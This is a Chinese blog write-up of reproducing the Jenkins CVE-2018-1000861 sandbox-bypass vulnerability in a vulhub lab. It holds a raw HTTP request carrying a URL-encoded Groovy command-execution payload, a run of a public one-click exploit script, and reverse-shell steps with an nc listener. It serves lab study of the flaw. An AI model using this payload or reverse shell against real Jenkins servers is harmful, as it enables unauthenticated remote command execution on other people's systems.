CVE-2018-1000861复现

2020-06-20  本文已影响0人  吃啥呀

vulhub

1. 漏洞介绍

1.1 背景介绍

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

1.2 漏洞影响

Jenkins Version <= 2.56
Jenkins LTS Version <= 2.46.1

2. 漏洞详细复现步骤

2.1 环境&工具

漏洞机:192.168.10.200 ubuntu

攻击机:Windows10

2.2 漏洞复现步骤

2.2.1 漏洞机环境

执行如下命令启动一个Jenkins 2.138,包含漏洞的插件也已经安装:

docker-compose up -d

环境启动后,访问http://your-ip:8080即可看到一个已经成功初始化的Jenkins,无需再进行任何操作。

2.2.2 漏洞复现
  1. 反弹shell

/dev/tcp是一个socket链接

尝试在windows攻击机的防火墙的高级设置中添加入站规则和出站规则,依然链接被拒绝。

ping攻击机是能够ping通的。

尝试关掉靶机的防火墙,依然链接被拒绝

尝试更换端口号,依然链接被拒绝

明明就能ping通,我实在想不通。

解密了,应当先在攻击机监听端口,再在靶机tcp链接攻击机,这个时候再在攻击机回车两次,就会出现反弹shell。

nc -lvp 6789 #port
  1. 使用一键POC脚本

使用https://github.com/orangetw/awesome-jenkins-rce-2019

下载运行 exp.py 需要的依赖

pip install requests
pip install enum

执行exp.py

python exp.py http://靶机ip:8080/ "touch /tmp/success"

在靶机查看是否成功

  1. 使用burpsuite

现将playload中的value编码url

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{%20public%20x(){%20%22touch%20/tmp/ascotbe%22.execute()%20}%20} HTTP/1.1
Host: 192.168.0.113:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: screenResolution=1920x1080; JSESSIONID.d8a9d49b=node04iwr99dggu5u1fnn3epmfu3513.node0; JSESSIONID.5ecc223b=node0179ytitxipcl01li5ix1f0ac5c0.node0
Connection: close

response一片空白。

2.3 漏洞复现注意事项

应当先在攻击机监听端口,再在靶机tcp链接攻击机,这样端口才能对应上!如果先tcp链接是会被拒绝的。如果链接不上,应当先检查双方是否能ping通,再检查IPS是否拦截成功。

上一篇下一篇

猜你喜欢

热点阅读